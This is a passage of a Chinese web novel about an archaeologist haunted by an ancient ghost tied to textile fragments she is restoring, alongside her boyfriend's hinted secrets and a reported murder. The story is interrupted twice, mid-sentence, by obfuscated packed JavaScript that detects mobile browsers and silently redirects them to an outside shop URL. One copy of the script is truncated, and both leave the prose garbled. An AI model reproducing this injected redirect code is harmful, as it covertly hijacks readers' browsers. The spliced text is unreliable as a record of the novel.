“我已经习惯有你了,所以不想再一个人。我说得明白吗?”他似乎并没有责怪,只是出声问道。 ——“很深情呢。” ……朝元听见了水鬼在她耳边说话。 幸而檀非看不见那只水鬼,不然真难想象他们二人会出现什么场景。朝元暗暗想道。 她的目光停留在檀非的后腰,在那片烧伤上流连了片刻后,随后一面为他穿好睡衣,一面捧过他的脸,什么话都没有说。 夜风摇动春色,她在水鬼的注目下,亲上了檀非的嘴唇。 “对不起。”朝元双手环着他的脖子,与他离得极近,“我平时一个人习惯了,你也总是独来独往的,什么事都能独当一面,我以为你一个人可以。”她认真又歉疚地说道。 月光将夜灯冲散得有些黯淡,朝元看着檀非,他的脸上似乎挂着一张巨大的阴影。 随后,他微微弯了弯唇,又很虔诚,摘下了鼻梁上的眼镜,随后抱住她的腰身,拢紧臂弯。 她与他贴得更相近了。 檀非轻轻吻了吻朝元的眼尾,回道:“我一个人不可以。” 外面忽而狂风大作,红黄色的月亮钻进了乌云里,庭院里那株尚且纤细的红枫也在摇摇欲坠,似乎下一秒就要被风吹断了。 风像是汹涌的海水,从窗缝里倒灌进来,鼓起窗帘,呼呼作响,毫不留情地将架子上的花瓶全都掀落在地。 “嘭嘭嘭!”的,一声接着一声,无比刺耳,像是海水把岸给拍毁了,从而一发不可收拾。 变天了吗? 朝元一抬眼,就看见落地窗外,上百只鬼正贴着玻璃疯狂拍打。 ——“咚咚咚咚咚咚咚!” 像是无数个枯枝在风中抽打,群魔乱舞,伴随着凄厉的嘶鸣。 朝元登时脸色煞白,却被檀非揽住腰身,裹在怀里。 他的吻落下来,落在她的脸上,落在她的鬓发上。 “明天我起来收拾,不要去看,朝元。”他为她盖上被子,抚摸鬓发,说道。 也对—— 檀非看不见鬼,自然听不见那些群魔乱舞的声音。 朝元在他的怀里闭上了眼睛,同时双手抱紧了他。 抱紧他的同时,朝元感觉自己的脖子也被那只水鬼掐紧了。 竟有窒息的感觉。 可朝元喉咙滑动,必须得忍住。 在窗外的凄鸣声中,在身侧水鬼的怨怼之中,鬼难道就没有鬼法了吗? “松开他,松开他!” “妙迦,松开他——!” 这只水鬼说疯就疯了,一直在叫,似乎真的恨不能掐死她。 可他一直在狂笑! 笑得眼睛发红,笑得嘴角都要咧到耳朵后,笑得仿佛在看一场生动有趣的笑话,笑得仿佛如谁人所愿。 笑得外面狂风大作—— 听得朝元心里直发寒。 朝元忍住疼痛,慢声说道:“好冷。” “今天院里发生了一件怪事,同事开玩笑说,是真有什么脏东西缠上来了。明天正好休息,我想去寺庙拜拜,让脏东西不要跟着我回家。”她说道。 4. 旧时青(四) “听说这寺庙的长生大师云游四方回来了。他看相很准,我今年有好几场考试,不知道能不能有一门上岸。真想让长生大师给算一算,可惜他不轻易给人看命。外面都在说,他现在只给贵人看,要花很多钱。” 空觉山位于秦岭的北麓,在秦川的西南方向,从韦曲开车过去,要一个小时左右。到那边的路况也不是很好,不仅颠簸,而且越往深走,就全都是临崖的山路,许多人都会选择坐专门的大巴过去。 但朝元对自己的车技极有信心。毕竟曾经经常出野外,不仅学会了开面包车、小型货车,还学会了开直升机。所以她一大早,就轻车熟路地自己驾车过去。 那水鬼显然没有见过世面。 他看了会儿朝元后,便转头看向车窗外,脸上已经恢复死寂般的平静。 这是他从未见过的世界。 朝元下了车,便看见有一些游客已经在往山上走。 已经入春,山上的雪已经在稀稀疏疏地消融。 空觉山上有一座从卫朝传下来的古刹,名为空觉寺,相传有神仙在此得道飞升,其中求姻缘、求财帛又很灵验,所以名声在外。 但这地实在太远了,若非难事、奇事,来这求佛的人并不是很多。 ——空觉寺里,有人在上香,有人在求签,有人在许愿。 方才的人从庙里出来,看见庙旁绿树成荫的别院拉开了大门,惊奇地续声叹道:“嗳……这长生大师住的六趣台开了。长生大师真的回来了。” “我看昨天来的人发攻略说,六趣台没有开,今天是有什么重要的人来吗?”她的同伴也好奇道。 “估计是吧。”她半是玩笑地回覆道,“空觉山上有一座峰为慕容峰,相传慕容皇后的陵墓就葬在那里,整座山峰都被凿空了。所以山脚下有一座慕容村,长生大师就是村里的人,听说慕容村世世代代都在给慕容皇后守陵。” “那么大的事……这是真的吗?”同伴惊讶地问,“慕容皇后的陵不是在少帝陵墓的东边,死后陪葬帝陵了吗?” “当然是假的,前两年考古队前前后后勘察过三遍慕容峰,根本没有陵墓,整个山体都是结结实实的。野史上真是什么稀奇古怪的事都有,传到二十一世纪,人的想象力又极丰富。”她笑了笑,看了眼腕上手表,忽地说,“我们的大巴来不及了,得赶紧下山了——” 朝元与她们二人擦肩而过,径自进去了六趣台。 朝元一踏进去,奇怪的事又发生了—— “不要进去、不要进去……” 那只水鬼在身后说道。 他脚踝上系着的金色铃铛抖动得更快了,似乎加快了步子,想要追上朝元。 朝元忍住回身的动作。 只听见他在身后说:“好疼啊——好疼啊——” “妙迦——好疼啊——” 诡异的感觉。 妙迦是谁? 他已经这样喊过她两次了,她并不认识所谓的妙迦。 思及此,朝元不做任何停留地踏进了六趣台的门槛。 那水鬼的声音登时消失不见了。 “长生师父,我又来麻烦你了。” 六趣台的长廊下,正有一位身穿田相袈裟的僧侣执着扫帚清扫地面。 朝元朝他走过去,一面说话,一面微微侧目,好似不经意地回了一下头,只借着一点点余光向后看去。 那水鬼果真没有跟进来。 难道九州之内,天上地下,不论是什么鬼,都有几分畏惧寺庙吗? 他真是鬼吗? 长生的确是慕容村子里的人,不过家境清贫,于六十年代念完初中后,家里便再无力供他继续求学,而后又时局动荡,他索性进了空觉寺剃度为僧。 他的书法好,笔法遒劲有力,六趣台的牌匾便是他亲自书写的。不论是在他尚且年轻的时候,还是在如今这个时代,他都称得上是文化人。 长生身形清秀,气质疏朗,似乎真的如他的法号一样,有种与年龄无关的从容与清长,看上去格外年轻。 “朝元施主,是你来了啊。”他听见声音,在树影婆娑下回过身来,单手问讯,“若是没有朝元施主,恐怕我们一村人世代守着的祖坟就要被那群盗墓贼偷了,何谈麻烦?朝元施主过来是有何要事,总不会是来看相算命的吧?” 朝元也微微笑着回礼。 大二下学期,她就是在慕容村子里实习的——一处因为基建而不得不清理出的卫朝墓葬群。传闻是世世代代传下来的祖茔。 基建属于特殊工业项目,涉及国防需求,墓葬必须清理迁移。村子里的人虽然有些舍不得,但都极其通情达理,竟从未去过政府和文旅部门闹事。 “信则有,不信则无,我暂且还不想拘泥于自己的命途,所以不是来庙里得窥天禄的。长生师父,我最近是被一只鬼缠上了。” 朝元认真地说道:“那只鬼很可怖,不仅能够呼风唤雨,还能让我鬼打墙,看见上百只鬼在我身边走来走去。不过这也可能是他施给我的幻觉。” “他已经严重影响到了我的生活,我这次过来是想长生师父帮忙想想办法,起码让我看不见他。” 长生慈眉善目地望着朝元,日光穿过翠绿的梧桐树,斜射过廊檐。 两人之间隔着一层近乎于血暮黄昏的光影。 以至于长生有些看不清朝元:“他有伤害你吗?”他问道。 朝元摇头:“未曾伤害我,但也不好说。” “他长什么模样?”长生问道。 “起码不是这个时代的人,一身卫朝的打扮,应该是那时候的先人。”朝元说道。 “施主,他现在在你的身边吗?”长生再次问道。 “不在。”保守起见,朝元又看了一圈,确实不在,“他没有跟我进来寺庙,可能是怕庙里的佛陀和菩萨。” “看来他的道行尚浅,施主,你且随我过来吧。”长生收回视线,说道。 · 朝元跟随在长生身后。六趣台和空觉寺只隔着一堵院墙,隐隐地,可以闻见庙中的香火气,听见僧侣诵经礼佛的声音,看见菩提树上挂满了寄送愿望的红绸。 随风轻轻飘荡。 朝元再出来时,日落西山,已是黄昏。 抬眼望去,已阒无人迹,凛冽的风声下,山巅山脚一片血红,像是江湖屠夫挥刀过处,满目腥然。 “为何总是不理我?” 身后,又飘来水鬼的声音。 朝元微微蹙眉,步履未停,只想趁着尚有余晖尽快下山。 可她又闻见了那股熟悉的血腥味道! 他受伤了吗? 看来这只鬼也和肉体凡胎无异。 昨天夜里的那阵血腥气,多半是他自己自伤所致。 朝元记得那气味断断续续的,像是有人在反复撕开尚未结痂的伤口;又或是用指甲一寸寸抓挠皮肉,直至血气渗出来。 朝元可以肯定,他大抵是死于非命的,身上留下了不少伤口。 或许一道一道,都是他生前的致命伤。 那么现在的血腥气呢? 是佛菩萨的威力逼退了他,还是他又在自伤? 朝元想,多半是前者。 他毕竟不敢跟随着她进去寺庙。 “看看我呀,你看看我。”水鬼在她的身旁说。 朝元不经意地瞥了一眼,他那身青色的圆领袍果然都被血染红了。 潮湿的红、流淌着的红,比夕阳还要红。 竟然受了这么多的伤,以至于让朝元想到了实验室里躺着的那七件织锦残片。 ——出土于永福坊遗址中,疑似于萧摩奴旧宅的衣物残片。 破破烂烂、像是人的尸体一样横陈,边边角角都像是一块块尖利的刀山。 简直是有异曲同工之妙。 “你在寺庙待了那么久,我的血都快流干了,你也不肯看我一眼吗?”水鬼竟是笑着说的。 可声音依旧那么诡谲难辨。 既像是笑,又像是在哭。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454704|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >既想刻意引人注目,又浸满了死不瞑目的怨怼。 既带着一丝扭曲的快意,又在下一瞬化作阴冷的哀鸣。 朝元从心底生出寒意,不得不加快了步子,想要尽快远离这四处都是深渊的危险之地。 ——可最怕的事情还是发生了,朝元只觉得背后有一股狂风猛地撞过来,使得她的身子向前倾倒,脚底打滑,整个人在一瞬之间失去了重心。 山间雪刚刚消融,朝元沿着陡峭的山坡一路滚了下去,天地在眼前都翻转成了一片混乱的影子。 在这生死关头,朝元竟感觉不到身上的疼,只剩下一种生命脱离自己掌控的恐惧和害怕。 她拼命去抓住旁边的碎石,甚至去攀那一级级几乎要把五脏六腑撞出来的石阶。 但碎石和台阶的棱角反而是要撬开她的指甲,撕裂她的掌心,让她的血液往外奔涌。 她像是一粒被泥石流裹挟着的石子。 风声在耳边呼啸,前方便是一段陡坎。 她感觉自己的身子将要飞出去了! 就在那么一瞬间,她猛地撞上了山路旁的木栅栏。 栅栏被冲得吱呀作响,几根木桩剧烈地晃动,却硬生生地挡住了她即将坠落山底的去势。 胸口剧痛,呼吸紊乱。 四周都安静了下来。 朝元只听见自己急促的心跳声,几乎是从胸腔、从耳膜深处传出来的,被放大了千万倍,一下一下,像是一擂擂的鼓声。 原来她是惜命的,原来她也是怕死的。 “疼不疼哪?” 那只水鬼的脸又贴了过来,蹲身在她的面前,关切地问道。 朝元呼气、吸气,呼气、又吸气。 ——恶鬼,这绝对是要索人性命的恶鬼。 朝元终于不再故意无视他、不再装作看不见他,她为了自己的性命着想,从寺庙的护身符袋里倒出一把把糯米,不管不顾地洒在他的身上。 她竟说不出一句骂他的狠话。 她平时骂人太少了! 她只能把心中积压的恐惧、惊惶、愤怒……全都攥在手心里,越攥越紧,狠狠砸在他的身上。 恨不能砸得他皮开肉绽、灰飞烟灭。 夕阳西下,水鬼低头看了看那把洁白的糯米,米粒穿过他的身躯。他是真的死了啊—— 他又抬眼看向神色惶然的朝元,笑意自他的眼中绽开:“你终于舍得看我了。佛教什么时候也开始用糯米辟邪了?” 佛家虽然讲究度化,讲究鬼也是六道众生之一,是累生累世的父母,讲究要同鬼一起修行,共同脱离六道轮回。 但这鬼已经开始有害她之心,刚才她差点死了,她又何必留情? 朝元的脸颊被擦伤,两手手指也在止不住渗血。 她见糯米不管用,便微微挪动身子,一手死死抓住栅栏,一手撑着地面,寸步留心地往山路里边移了移。 等到觉得脚下稍稳,呼吸稍缓,她才抬起手,将符袋里的六字大明咒贴往水鬼的脑门。 “啪!”地一声响。 朝元的行动果决,贴上后便为自己争分夺秒,强撑起身子,头也不回地往山下跑。 长生师父说,这符顶多能拖住他个把分钟。 朝元跑啊跑,日头已经完全没入了天际线,整片天都开始黑沉下来。 山风寒咝咝地吹,她像是雪球一样,恨不能三步并两步地滚到山下。 眼看山脚的村落已近在眼前,一簇簇灯火在暮色中亮起,那只水鬼登时出现在她的眼前,挡住她的去路。 他的眼神很冷清,长身直立在她的面前,却微微躬身,如六趣台的长生师父一样,单手向她问讯。 “施主啊,为何不往庙里跑?” 他抬直身,又温声细语的,特意放慢声音说道:“你若还不尽兴,我不妨再陪你多玩一会儿。” 朝元看着他伸手揭开额头上的大明咒。那只苍白的手轻轻一攥,符纸便在他的指间瞬间化作齑粉,随风飘散得了无踪影。 5. 旧时青(五) 山崖间的月亮细长的、弯弯的,泛着模糊不清的黄,像是漆黑夜色中的一叶飘渺扁舟。 朝元在车内开了一盏阅读灯。 “你也知道,我已经有男朋友了,我和我的男朋友感情很好。我看你也是孤魂野鬼,你生前是不是还有什么未了的心愿?你尽管说出来,我如果能帮上忙,我便尽力帮你。若帮不上,你也别再为难我,我和我的男朋友生活在一起,你也很不方便,不是吗?”朝元从车内的后视镜里去看后座的水鬼,几乎是苦口婆心地劝解道。 他身上已经不再淌血。 那身血红的圆领袍又成了青绿颜色。 “你不记得我了,可我记得你,一直都记得你。”萧摩奴并没有去看后视镜,而是看着朝元,轻重有序地说道。 “人鬼殊途……如果真的有六道轮回,我估计已经投胎很多次了,我可能投过人,女人男人,黄种人棕种人;也投过牲畜;投过一棵树、一朵花。”朝元猜道,“我不认识你所说的妙迦,也不是妙迦。你应该去找那时候的妙迦。” 萧摩奴听着朝元最后一句的巧辩,扯了扯嘴角:“不论你是女人、男人,黄种人还是棕种人;不论你是牲畜,抑或是无情无绪的草木,我找的都是你,我原以为你也在找我,看来不是吗?”凄黄的阅读灯下,萧摩奴凑近了一些朝元,微微偏头看她,眼色深了深。 朝元侧过脸,和他在车内对视上,被他如刀锋一般明艳的容貌晃得愣了愣。片刻后,她神色不变,好声好气道:“或许我和你之间真的存在些什么因果和缘份,但我毕竟是人,你呢?旁人甚至看不见你。我这一生无冤无仇,你即便来找我,也应该找百年后的我,那时候我的三魂七魄或许已经出窍了,那时候你或许就可以和那些魂魄们论因果了。我如今只想好好生活,你到底要怎么样才能不纠缠我?” 她变了。 萧摩奴只望着她的唇,一张一合;望着她的眉,一蹙一舒;最后望进她那双漆黑明亮的眼睛里。 她的瞳仁里映照不出半分他的身影。 记忆中,她的唇应该更薄一些;她的眉应当更浓一些;她的眼睛…… 喜怒哀乐,一颦一笑,仍旧是她的眼睛。 容貌虽有几分不同,可这终究还是她。他能透过这层虚无缥缈的皮相,看见她灵魂深处那道熟悉的影子。 “施主啊,我也想知道,我究竟为什么还要纠缠你。” 他启声说话,截断了朝元的话。朝元看着他,在并不清明的阅读灯下,他那张脸上似乎流露出了一会儿的哀伤。 不过一刹那。 他掀起眼皮,继而说道:“你近日不是正在着手永福坊旧宅遗址的事吗?等你将那七件残片复原了,我便满足你的人鬼殊途,从此因果了断,不再纠缠与你。” 原来真是和织锦残件有关。 而他又正好是卫朝人。 月亮渐渐高升,月光照在大地上。 “你是萧摩奴吗?”朝元趁此打听道。 永福坊考古队的人也大多这么认为。 ——其一,文献中记载萧摩奴住在永福坊,并在永福坊病逝。 其二,出土的青玉笛子上有“如意十二年,皇后赠”的铭文。萧摩奴与慕容皇后交厚,且死于如意十二年。 其三,朝元看着眼前鬼,他的年纪不过二十余,而且一身素青麻衣。 萧摩奴终年二十九,葬所不见于史籍,但考虑到他如意十二年,试图杀帝谋逆,最后被幽禁于永福坊的记载,他的下场应该是凄然的,不少学者都对他最后的“病逝”持有怀疑态度。 在他死后的两百年里,有研究金石的后人突破闭门考释之风,在关中一带遍访古迹,记录了不少奇闻逸事。书中称萧摩奴死后遭到分尸,埋在长安城外的乱葬坟里。 恰好,眼前的鬼遍体鳞伤,时常血迹斑斑,同时又衣着寒素,见不到一点富贵之气。 萧摩奴也本就不是富贵的出身。 静悄悄的车内,朝元等待着萧摩奴的回覆。 朝元想,窥见历史中不曾记载过的隙缝是幸运的。 同时,朝元也不得不承认,她有攀上学术之巅的欲望。即便这是在与虎谋皮。 可他微笑着,偏说道:“不是。” “时间太久,我也记不清自己是谁了。倒幸而……一直有人在坟前唤我李惊秋,或许我真是他,你便唤我李惊秋吧。”他温声说道。 “李惊秋?”朝元试着喊了他一遍。 他的面色不改。 朝元不得不??眼,卫朝是李家的天下,李惊秋自然是出身宗室了。 他的祖父是文宗一朝的贤相姚思话,史书记载他刚直不阿,执法如山,能整肃百僚。 姚思话一生三娶,前两任一个病逝,一个投井自绝。最后一任娶得是李姓县主,是文宗亲赐的婚姻。 李惊秋便是姚思话和县主的一孙。 卫书中,李惊秋不仅貌若惊鸿,姿容清绝;还继承了姚思话的才志,自幼入弘文馆读书。 在那个斜封官泛滥、及第不爱读书、作官何须事业的黑暗时代,他并没有凭借祖荫入仕,而是以科举取身,可谓是当时人人取笑和鄙夷的“异类”。 他先补秘书省校书郎,又转给事中。 及如意十二年,萧摩奴身死之时,他迁入门下省,拜门下侍中,自此进入政事堂的宰相班子,执掌国政。 时年三十二。 但生不逢时。 当时已经民不聊生,中央财政枯竭,官吏中饱私囊,三省六部凭借卖官来填补亏空。 纵使卫书中称他孤忠抗世,屡上万言书,指斥权佞,死不改志。 但也是无明长夜,生死大海。已经是卫朝的末年,那个曾经强盛的王朝正在步入它昏庸的晚年。 他于长安春秋更替间,一生没有娶妻。 像他这样清名直节的臣子,若生在中兴之时,或许会成为这座王朝最后的脊梁,或许会善始善终,会平静的收束。 他与慕容皇后素来没有交集。 但在皇后宾天那年,李惊秋随皇后的灵枢入陵,为她殉葬了。 青史的字里行间都写得很分明,他自请从死,于地宫中绝食而终。 自此,他的家宅被皇上下旨抄没,连同门生也接连被斩首于市曹,卫朝迎来了它的覆亡之路。 眼前这只鬼是李惊秋吗?朝元反问自己。 她可不相信。 他身上的味道依旧很干净,似乎随时都带着皂角的味道。 朝元端看着他,他的肌肤细腻,四肢骨骼修长,姿态端秀仪美,却不同于山间挺拔茂盛的乔木。 他像是春风初至时,抽枝吐芽的一段柳。 萧摩奴也毫不遮掩地望着她。 他眼底浮着若有若无的笑意,却死死咬着牙关,嘴角隐隐显露出青筋。 “你可以跟在我身边,但平时不能叨扰我,免得被别人看见,说我疯了。”朝元退让了一步,终于启声说道,看了一眼他圆领袍下微微露出来的脚,“你连鞋都没有。改天我给你烧一双吧,你能收得到吗?修复那身衣服还要很长时间,别拿假名字哄我。李惊秋去世的时候,可没有这么年轻。” 萧摩奴别开眼,倚回座椅,笑意一下子被敛下去,眼底冷冰冰的:“叫我辟邪吧,这名字能辟邪祟。” 朝元也扭过头,开始发动引擎,外面天彻底暗了。 “我是在清理永福坊遗址出土的织锦残件才遇见你的吧。那是萧摩奴的遗物吗?你和他是什么关系?”她随口问道。 “确是他的遗物,我是他的奴婢。”他看上去认真地答道。 “那妙迦呢?”朝元点点头,将车开上路。 “她啊……”他斟酌了会儿,不再掩饰自己的身份,盯向后视镜里朝元的脸,有几分享受地说,“她是长安城里的贵人娘子,表面风度翩翩,骨子里却带点怪癖,偏偏喜欢和太监对食,尤其是和我这个太监。” 朝元沉默了半晌,回道,“我记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454705|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了,辟邪。” “而且哪……施主,她不仅喜欢捉弄太监,还很喜欢戏耍文人,你这辈子可不要像她那样——风流。”萧摩奴似乎又凑近了一些朝元,身子半倚在副驾驶的后背上,声音轻飘飘的,像是从夜色里落下来。 朝元甚至感觉到他那只冰凉的手在抚摸她的耳朵。 力度渐重。 他又松开手,在她耳边轻轻吹了吹。 “我在开车,暂时还不想因为鬼驾丧命,请你谅解一下。”看着旁边陡峭的山路,朝元说道,两手紧紧握着方向盘,如已经入定的僧。 · 一路回到家,已经九点了。 家里黑漆漆的,等到朝元回来时,才有了些生气。 朝元原以为檀非今天有急诊手术,所以不在家。她想趁这段空隙,赶紧将掌心、手指、脸颊以及身上的伤都清理一遍。 掌心的刀伤本就没有好,现在经过山坡上那么一滚,又鲜血淋漓地裂开了。 朝元一面清理,一面在镜子里狠狠地瞪了一眼那只水鬼。 他正站在床柜边,注视着她和檀非的合照。 “你能不能去仓库里待着?”朝元看着他赤裸地双脚,依旧语气不善地说道。 她总觉得自己的隐私被阴森森地冒犯了。 虽然他是一只一千年前的鬼。 萧摩奴闻言,转过身,竟然答应了:“好啊。” 他走了几步,又停下步子,扭头向朝元笑了笑:“你的好男朋友正好回来了,我这便去仓库里待着。” 话落,“啪嗒”一声,檀非果然从外回来了。 朝元看见萧摩奴进了仓库。 安安静静的。 客厅里响起檀非的声音:“今天临时有急诊,回来晚了。你去空觉寺还顺利吗,吃过饭了吗?” 朝元很快便看见他进来卧室。 脸上和手上的伤消失不了,所以朝元并没有着急收拾药箱来作掩饰——他那双眼睛看得见。 “怎么受伤了?山上的雪还没有消吗?”檀非赶紧走过来,目光在她的掌心和手背来回扫视。 “也没什么,”朝元摆摆手,坦然道,“也就是差点上一趟神秘园而已。伯母伯父在酒店吃住还好吗?”她转过话题。 “不要总是开玩笑。” 檀非没有碰她。 他看着她的伤,似乎确认她手上和脸上的伤没有恶化后,才抬步走向卫生间:“他们很好,我明天过去看他们,你不用担心。” 他在洗手。 水声哗啦啦的。 他在反复用清水冲刷手,比平时都要久得多。 随后,他彻底洗干净了,才从卫生间过来,让朝元坐下。 朝元看着他用手帕擦干手,然后俯身,托起她的下巴。 “其实真的没有什么大碍,皮肉伤而已。我一路开车回来,头不晕,也不疼,而且没有任何骨折的地方。”朝元解释道。 他的指腹还是沿着她的脸颊轻轻探查,从额头、颞部到下颌。 他没有回覆一句话。 在这冷清的氛围里,朝元依旧睁着一双眼睛看他。他的身上带着疲惫,以至于镜片下的那双眼睛几乎是无情无绪的。 朝元识得眼色,便没有多说话,任由他检查。 以他的性子,不亲自确认一遍,是绝不会放心的。 自己只要安静坐着便是,何必再让他心烦? 奇怪的是,他刚下手术回来,身上却没有混杂浓烈的消毒水味道。 是他父母那边出了什么事吗?是他不好将事情告诉自己吗? 朝元没有发问,只是忍不住暗自揣测。 随后又一把挥去脑中想法,兴许只是自己多想了。 思及此,朝元抬起双手,默默抱上檀非的腰身,用自己的方式默默安抚他。 直到手机铃声响起。 朝元从口袋里拿出手机:“是姑父打来的,估计是有什么急事,我去接一下。” 6. 罗绮者(一) 春雨霏霏,下了一整天。秦川的天是湿的,地也是湿的,放眼望去,灰沉沉一片,漫山遍野。 朝元下班后,没有立即回家,她驱车去了秦川西南方向的工业园区。 此时正是下班的高峰期,又逢雨天,工业园区离这边足有二十公里,一路上都很堵。 但是没有办法,昨天姑父宋晓风打来电话,说表弟过来了秦川工作。 朝元自从父母遇害后,便被姑姑姑父接回了家,和表弟宋秋稔关系要好,两人是一起长大的,宋秋稔比她小四岁。 他一直以来成绩都很好,高中时候作为清北苗子,申请进了国科大班。 但是他高考失利,最后只在金陵读了一个专科,自此沦为了国科大班经久不衰的笑谈。 朝元一面开车,一面想,或许并不能用高考失利来形容他,因为他高考当天应该是脑子被雷劈了,他只考了一门语文。 宋晓风当时气得发疯,抄起藤条就狠狠抽他,一面抽,一面骂他不懂事、不争气。 他偏偏一声不吭,说什么也不肯复读。读专科的学费是他自己一点一点挣出来的,做促销、送外卖、跑夜班……他几乎什么工作都做过。 他没有再向家里伸手要一分钱,宋晓风的钱袋子也不富裕,同时心里也恨得牙痒痒,所以也从不给他生活费。平时他大多和人合租住在宿舍里。 对此,朝元的姑姑赵满唐从未说过一句话。 ——“我看他和你没有血缘关系啊。”身后,飘来萧摩奴的声音,“你这么挂心他吗?” 朝元微微愣了愣,有些意外,这鬼还能未卜先知吗? 她把车停在工厂门口,等着他下班。 目下已经七点了,天更暗,仿佛往下压了压;雨也更大,噼里啪啦地砸在窗户上。 车内很温和,萧摩奴还是坐在后座位上。 “他确实不是我的亲表弟。”朝元想起过往,回道,“但是我们从小一起长大,他人很好,平时姑姑工作很忙,姑父也不是一个善于言表的人,一直是他陪在我的身边,血缘关系也没有那么重要。” 她的语气很轻松,萧摩奴又问道:“杀害你父母的凶手找到了吗?” 话音刚落,朝元这才扭头看他。 两人的目光在狭窄的车厢中对视,萧摩奴随之笑了笑:“别这么看我,我可是鬼啊。” 他的语气依旧很温柔,温柔得像是雨珠在敲打车窗,带着几分安抚的味道:“鬼平时没有别的事情可做,只能一遍一遍看活人的秘密,你不是经常做关于你父母的噩梦吗?我只是恰好看见了。”话落,他又轻声补充道,“若你不喜欢,往后我就不看了,我只待在仓库里。” 朝元没有追问,她又收回视线,将目光望向工厂门口。 还是很寂静,只有雨声。 门口旁边有保安室,室内亮着白炽灯。 再远处,便能看见厂房的灯,从早上亮到晚上,再从晚上亮到早上,像是除了死亡以外,一刻也不能停歇的劳役。 工厂门口已经有晚班工人陆陆续续地来。 一上就是十二个小时。 雨天里湿气很重。 朝元摇摇头:“之后有一个瘦瘦弱弱的男人去认罪,说是我爸妈欠钱不还,他情急之下才动了杀手。我认识那个男人,爸妈做生意忙不过来,他经常带我过去他家吃饭,他家条件其实挺不好的,父母早亡,有一个瘫痪的哥哥,他一边养着他哥哥,一边供两个没有人要的弃婴读书,觉得她们可怜。他看上去像是个老好人吧?但是他说他是杀害我爸妈的凶手,还跪下来和我认错。” “警方那边结案了,只有我总觉得不是。”她说道,又看向萧摩奴,“你说我是不是真有什么妄想症?” 她说了这么多,竟没有像梦里那样泪流满面。 那两具烧焦的尸体,那栋已经被拆除的房子。 萧摩奴坐直身子,问道:“施主啊,你父母真的欠钱了吗?” “我也是后来在警方调查的时候才知道,我妈得了癌症,我爸去借了很多钱。”朝元如是说道。 雨珠噼里啪啦地响,朝元忽然像是想起了一件荒唐的趣事,嘴角勾起笑:“案子结了以后,这事还被更多人知道了,他们得知那男人家里的情况后,竟然说是因为我爸妈准备卷款跑路,把老实人逼急了。真是说什么的都有……”朝元叹了一声,看上去满不在乎的,当成笑话说出来,“宋秋稔——” 下一秒,她就看见工厂的大门口涌出一大片人影,乌泱泱的。她一眼就看见了人群里的宋秋稔。 她登时推开车门,高声喊道。 春雨随之砸在她的身上。 ——“雨下大了,拿伞。” 车内忽然传出萧摩奴的声音,明明依旧温润,却比春雨还要冷,劈头盖脸地落在她的身上。 话音刚落,副驾上的长柄伞便像是被人随手丢下一样,倏地滑落到座椅下,发出一声闷响。 朝元的脸上身上已经都是雨痕,分不清是雨还是别的什么。 她没有去看坐在阴影里的萧摩奴,只是弯下腰,把伞捡起来。撑开时,“啪”地一声响。 她快步朝宋秋稔走过去,却又在半途回身看向车内。 后座空荡荡的,已经看不见萧摩奴的身影。 · 产业园的二十公里外,檀非从医院下班,径自过去酒店看望父母。 陪他们吃过饭后,檀非才往家里赶。 雨势渐大,行人纷纷。 沿途经过了大兴善寺。 灰砖拱门外,仍旧守着不少算命摊子。檀非的眼神掠过他们,看向红墙灰瓦之内,仿佛看见一缕缕香火从寺院深处袅袅升起来,随后又被龉龊的脏雨打得透湿。 他那年就是在寺门外碰见朝元的。 当时……就像此刻一样,周成璧和檀润芝从沪申过来看他。 名为探望,实则还是打得他满身是伤,看他低声下气地求饶,看他一点一点地退让和妥协。 想到此,檀非低眉笑了笑,镜片下的眼睛安静得像一潭水,没有半分恨意。 十字路口的信号灯亮了,他驱车驶过大兴善寺的门前。 湿漉漉的路面被车灯拖出一条条晃动的灯影,远处的城墙轮廓渐渐隐没在铁灰色的雨雾里。 车子一路向南开,檀非回到家后,朝元竟还没有回来。仓库的门半开着,窗子也没有关,凉风一股股灌进来,带着雨丝斜斜飘进屋里。 檀非沉默着走过去,把窗户扣紧,又把门拢上。 屋里一下子安静下来,一时之间仿佛只剩下雨声贴着墙壁爬行的声音。 纤弱的红枫在窗外被风抽打。 最近朝元奇怪得很。 檀非打开了电视,正是晚间新闻的时间。 ——画面切进一段航拍夜景,主持人的声音平直冷静地回荡在客厅里: “今晚八点二十分,秦川龙首庄高槿花园小区发生重大刑事案件,一名女性死者被发现死于出租屋内。” “经初步调查,死者为二十二岁女性,籍贯金陵,2020年来到秦川求学,已毕业,目前为该小区的住户。法医检验显示,死者死亡时间在二十四小时以内,死因为机械性致死。” “警方同时证实,死者已怀有身孕,腹部存在被利器剖开的严重伤口,具体情况仍在进一步鉴定中。目前警方已成立专案组全力开展侦破工作,具体死因及涉案情况有待警方通报。” …… 檀润芝这下终于可以安心回去沪申了。 “朝元,外面在下雨,你还和秋稔在一起吗?”檀非将电视的音量调低,拨通了朝元的电话,“雨下得大,路上不太安全,你在哪儿?我去接你回来。” 惨白的灯光下,客厅里的绿植显得格外浓绿,叶片上像是覆盖着一层湿意。他看着外面密不透风的雨幕,继续缓声说道:“如果你实在放心不下秋稔,把他一起带回来住也好。” “在吃饭吗?那好好吃饭吧,你的身上还有伤,开车小心些,我等你回来。” · 幸而产业园和军工大学离得近。 